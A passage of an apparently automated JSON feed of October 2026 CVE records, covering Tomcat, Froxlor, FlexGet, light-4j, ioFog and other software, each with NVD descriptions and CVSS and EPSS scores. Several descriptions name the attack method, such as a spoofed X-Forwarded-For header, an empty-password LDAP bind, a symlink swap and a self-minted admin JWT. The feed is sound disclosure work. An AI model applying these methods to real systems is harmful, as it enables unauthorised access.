fixes.","publishedAt":"2026-10-20T16:17:15.217Z","updatedAt":"2026-10-21T04:18:11.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:A/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:C/RE:M/U:Red","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86471","asOf":"2026-10-21T04:18:11.080Z"},"epss":{"probability":0.00606,"percentile":0.48703,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86471&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86471","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86471","type":"primary","publishedAt":"2026-10-20T16:17:15.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86471&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86471, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113703","cveId":"CVE-2026-113703","aliases":[],"kind":"vulnerability","title":"SuggestArr before 3.0.0 contains an authentication bypass vulnerability in its local_bypass authentication mode where enforce_authentication() in api_service/auth/middleware.py...","summary":"SuggestArr before 3.0.0 contains an authentication bypass vulnerability in its local_bypass authentication mode where enforce_authentication() in api_service/auth/middleware.py trusts the client-controlled request.remote_addr value, which is derived from the spoofable X-Forwarded-For header due to ProxyFix(x_for=1) configuration in api_service/app.py. Attackers can send a request with X-Forwarded-For set to a trusted CIDR address such as 127.0.0.1 to be granted an unauthenticated admin session via _load_bypass_user_context(), gaining full administrative access to endpoints like /api/users and /api/jobs without providing any credentials.","detail":"SuggestArr before 3.0.0 contains an authentication bypass vulnerability in its local_bypass authentication mode where enforce_authentication() in api_service/auth/middleware.py trusts the client-controlled request.remote_addr value, which is derived from the spoofable X-Forwarded-For header due to ProxyFix(x_for=1) configuration in api_service/app.py. Attackers can send a request with X-Forwarded-For set to a trusted CIDR address such as 127.0.0.1 to be granted an unauthenticated admin session via _load_bypass_user_context(), gaining full administrative access to endpoints like /api/users and /api/jobs without providing any credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:13.507Z","updatedAt":"2026-10-20T20:11:29.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113703","asOf":"2026-10-20T20:11:29.833Z"},"epss":{"probability":0.00474,"percentile":0.40705,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113703&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113703","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113703","type":"primary","publishedAt":"2026-10-20T16:17:13.507Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113703&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113703, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113682","cveId":"CVE-2026-113682","aliases":[],"kind":"vulnerability","title":"Networknt light-4j from 2.1.5 before 2.4.0 contains an authentication bypass vulnerability in BasicAuthHandler that allows unauthenticated attackers to log in as LDAP/AD-delegated...","summary":"Networknt light-4j from 2.1.5 before 2.4.0 contains an authentication bypass vulnerability in BasicAuthHandler that allows unauthenticated attackers to log in as LDAP/AD-delegated users. Attackers can send a Basic Authorization header with a known username and empty password, triggering an unauthenticated LDAP bind that is accepted as successful authentication.","detail":"Networknt light-4j from 2.1.5 before 2.4.0 contains an authentication bypass vulnerability in BasicAuthHandler that allows unauthenticated attackers to log in as LDAP/AD-delegated users. Attackers can send a Basic Authorization header with a known username and empty password, triggering an unauthenticated LDAP bind that is accepted as successful authentication.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:13.210Z","updatedAt":"2026-10-23T14:17:32.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113682","asOf":"2026-10-23T14:17:32.900Z"},"epss":{"probability":0.00562,"percentile":0.46454,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113682&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113682","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113682","type":"primary","publishedAt":"2026-10-20T16:17:13.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113682&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113682, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113678","cveId":"CVE-2026-113678","aliases":[],"kind":"vulnerability","title":"Froxlor before 2.3.15 contains a symlink following vulnerability in Statistics::makeChownWithNewStats that allows authenticated customers to take ownership of arbitrary host...","summary":"Froxlor before 2.3.15 contains a symlink following vulnerability in Statistics::makeChownWithNewStats that allows authenticated customers to take ownership of arbitrary host directories by abusing the root-run traffic cron. Attackers can replace the goaccess statistics directory in their document root with a symlink, causing chown -R to hand root-owned trees to them and enabling root escalation.","detail":"Froxlor before 2.3.15 contains a symlink following vulnerability in Statistics::makeChownWithNewStats that allows authenticated customers to take ownership of arbitrary host directories by abusing the root-run traffic cron. Attackers can replace the goaccess statistics directory in their document root with a symlink, causing chown -R to hand root-owned trees to them and enabling root escalation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:12.613Z","updatedAt":"2026-10-23T02:16:56.567Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113678","asOf":"2026-10-23T02:16:56.567Z"},"epss":{"probability":0.00632,"percentile":0.49979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113678&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113678","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113678","type":"primary","publishedAt":"2026-10-20T16:17:12.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113678&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113678, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113613","cveId":"CVE-2026-113613","aliases":[],"kind":"vulnerability","title":"FlexGet before 3.20.7 contains a path traversal vulnerability in the decompress plugin that allows remote attackers to write arbitrary files by supplying malicious archive member...","summary":"FlexGet before 3.20.7 contains a path traversal vulnerability in the decompress plugin that allows remote attackers to write arbitrary files by supplying malicious archive member paths. Attackers can deliver zip or rar archives with ../ sequences or absolute paths through a feed, writing Python files into the plugins directory for code execution.","detail":"FlexGet before 3.20.7 contains a path traversal vulnerability in the decompress plugin that allows remote attackers to write arbitrary files by supplying malicious archive member paths. Attackers can deliver zip or rar archives with ../ sequences or absolute paths through a feed, writing Python files into the plugins directory for code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:11.933Z","updatedAt":"2026-10-21T16:17:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113613","asOf":"2026-10-21T16:17:23.833Z"},"epss":{"probability":0.00918,"percentile":0.59985,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113613&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113613","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113613","type":"primary","publishedAt":"2026-10-20T16:17:11.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113613&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113613, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103119","cveId":"CVE-2026-103119","aliases":[],"kind":"vulnerability","title":"Buffer under-read vulnerability in Apache Tomcat meant that a large non-blocking write could result in the response body being split between the current request and the next...","summary":"Buffer under-read vulnerability in Apache Tomcat meant that a large non-blocking write could result in the response body being split between the current request and the next request received on that connection leading most likely to failure of the second request and possibly leakage of data from the first response to the second.\n\n\n\nThis issue affects Apache Tomcat: from 11.0.0-M25 through 11.0.26.\n\n\n\nUsers are recommended to upgrade to version 11.0.27, which fixes the issue.","detail":"Buffer under-read vulnerability in Apache Tomcat meant that a large non-blocking write could result in the response body being split between the current request and the next request received on that connection leading most likely to failure of the second request and possibly leakage of data from the first response to the second.\n\n\n\nThis issue affects Apache Tomcat: from 11.0.0-M25 through 11.0.26.\n\n\n\nUsers are recommended to upgrade to version 11.0.27, which fixes the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T14:16:56.087Z","updatedAt":"2026-10-20T19:35:38.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Apache Tomcat"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103119","asOf":"2026-10-20T19:35:38.940Z"},"epss":{"probability":0.00586,"percentile":0.47736,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103119&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103119","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103119","type":"primary","publishedAt":"2026-10-20T14:16:56.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103119&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103119, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101356","cveId":"CVE-2026-101356","aliases":[],"kind":"vulnerability","title":"Incorrect object recycling and re-use vulnerability in Apache Tomcat affecting HTTP/2 processing of asynchronous servlets can trigger request and/or response mix-up between users.","summary":"Incorrect object recycling and re-use vulnerability in Apache Tomcat affecting HTTP/2 processing of asynchronous servlets can trigger request and/or response mix-up between users.\n\n\n\nThis issue affects Apache Tomcat: from 11.0.22 through 11.0.26, from 10.1.55 through 10.1.60, from 9.0.118 through 9.0.122.\n\n\n\nUsers are recommended to upgrade to version 11.0.27, 10.1.61 or 9.0.123, which fixes the issue.","detail":"Incorrect object recycling and re-use vulnerability in Apache Tomcat affecting HTTP/2 processing of asynchronous servlets can trigger request and/or response mix-up between users.\n\n\n\nThis issue affects Apache Tomcat: from 11.0.22 through 11.0.26, from 10.1.55 through 10.1.60, from 9.0.118 through 9.0.122.\n\n\n\nUsers are recommended to upgrade to version 11.0.27, 10.1.61 or 9.0.123, which fixes the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T14:16:55.767Z","updatedAt":"2026-10-20T19:35:38.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Apache Tomcat"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101356","asOf":"2026-10-20T19:35:38.940Z"},"epss":{"probability":0.00499,"percentile":0.42459,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101356&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101356","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101356","type":"primary","publishedAt":"2026-10-20T14:16:55.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101356&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101356, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101296","cveId":"CVE-2026-101296","aliases":[],"kind":"vulnerability","title":"A missing critical step in authentication vulnerability in Apache Tomcat when the JNDI realm was configured with with a non GSSAPI SASL authentication mechanism allowed attackers...","summary":"A missing critical step in authentication vulnerability in Apache Tomcat when the JNDI realm was configured with with a non GSSAPI SASL authentication mechanism allowed attackers to authenticate without providing the correct password.\n\n\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.26, from 10.1.0-M1 through 10.1.60, from 9.0.0.M1 through 9.0.122.\n\n\n\nThe following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other unsupported versions may also be affected.\n\n\n\nUsers are recommended to upgrade to version 11.0.27, 10.1.61 or 9.0.123, which fix the issue.","detail":"A missing critical step in authentication vulnerability in Apache Tomcat when the JNDI realm was configured with with a non GSSAPI SASL authentication mechanism allowed attackers to authenticate without providing the correct password.\n\n\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.26, from 10.1.0-M1 through 10.1.60, from 9.0.0.M1 through 9.0.122.\n\n\n\nThe following versions were EOL at the time the CVE was created but are known to be affected: from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other unsupported versions may also be affected.\n\n\n\nUsers are recommended to upgrade to version 11.0.27, 10.1.61 or 9.0.123, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T14:16:54.767Z","updatedAt":"2026-10-21T04:16:58.097Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Apache Tomcat"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101296","asOf":"2026-10-21T04:16:58.097Z"},"epss":{"probability":0.00627,"percentile":0.4977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101296&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101296","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101296","type":"primary","publishedAt":"2026-10-20T14:16:54.767Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101296&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101296, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113620","cveId":"CVE-2026-113620","aliases":[],"kind":"vulnerability","title":"In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, operator WebSocket upgrades on the exec and log routes do not verify the bearer JWT.","summary":"In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, operator WebSocket upgrades on the exec and log routes do not verify the bearer JWT. The payload is decoded and its groups or roles are used as RBAC subjects. A self-minted token whose groups contain admin matches the built-in admin role, with no account and no RoleBinding. The attacker can open an exec or log session for a microservice or fog whose UUID they already know. HTTP routes are not affected: they verify the token before RBAC. Agent WebSockets verify the fog token and are not affected.","detail":"In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, operator WebSocket upgrades on the exec and log routes do not verify the bearer JWT. The payload is decoded and its groups or roles are used as RBAC subjects. A self-minted token whose groups contain admin matches the built-in admin role, with no account and no RoleBinding. The attacker can open an exec or log session for a microservice or fog whose UUID they already know. HTTP routes are not affected: they verify the token before RBAC. Agent WebSockets verify the fog token and are not affected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T13:16:41.610Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113620","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00286,"percentile":0.20908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113620&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113620","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113620","type":"primary","publishedAt":"2026-10-20T13:16:41.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113620&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113620, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105312","cveId":"CVE-2026-105312","aliases":[],"kind":"vulnerability","title":"A Kubernetes tenant with create permission on Console custom resources can set spec.containers.api.spec.image to an arbitrary container image.","summary":"A Kubernetes tenant with create permission on Console custom resources can set spec.containers.api.spec.image to an arbitrary container image. The operator deploys this image into a pod whose ServiceAccount is bound via ClusterRoleBinding to a ClusterRole granting cluster-wide get/list/watch on all Strimzi CRDs (including KafkaUsers), patch on Kafkas/KafkaRebalances, and cluster-monitoring-view. The attacker's code reads the projected SA token and gains cross-tenant Strimzi control-plane read+write access.","detail":"A Kubernetes tenant with create permission on Console custom resources can set spec.containers.api.spec.image to an arbitrary container image. The operator deploys this image into a pod whose ServiceAccount is bound via ClusterRoleBinding to a ClusterRole granting cluster-wide get/list/watch on all Strimzi CRDs (including KafkaUsers), patch on Kafkas/KafkaRebalances, and cluster-monitoring-view. The attacker's code reads the projected SA token and gains cross-tenant Strimzi control-plane read+write access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T12:17:28.703Z","updatedAt":"2026-10-20T17:17:27.860Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105312","asOf":"2026-10-20T17:17:27.860Z"},"epss":{"probability":0.00336,"percentile":0.26765,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105312&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105312","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105312","type":"primary","publishedAt":"2026-10-20T12:17:28.703Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105312&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105312, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9589","cveId":"CVE-2026-9589","aliases":[],"kind":"vulnerability","title":"Missing authorization in the configuration cascade operations of the Collaboration Server in Unblu inc.","summary":"Missing authorization in the configuration cascade operations of the Collaboration Server in Unblu inc. Unblu Spark 7.0 through 8.36.1-hotfix.0, on on-premises and cloud deployments, allows an authenticated remote attacker to read and change configuration properties of entities they 